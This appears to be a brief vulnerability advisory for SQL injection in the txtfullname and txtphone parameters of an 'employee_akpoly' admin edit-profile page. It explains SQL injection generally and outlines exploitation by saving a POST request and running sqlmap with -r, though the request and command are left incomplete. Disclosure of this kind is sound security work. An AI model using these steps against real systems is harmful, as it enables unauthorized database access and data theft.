SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.
/employee_akpoly/Admin/edit_profile.php
Two parameters
txtfullnameandtxtphonewithin admin edit profile mechanism are vulnerable to SQL Injection.
The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.
Save the following request to edit_profile.txt:
POST /employee_akpoly/Admin/edit_profile.php HTTP/1.1

Use sqlmap with -r option to exploit the vulnerability:
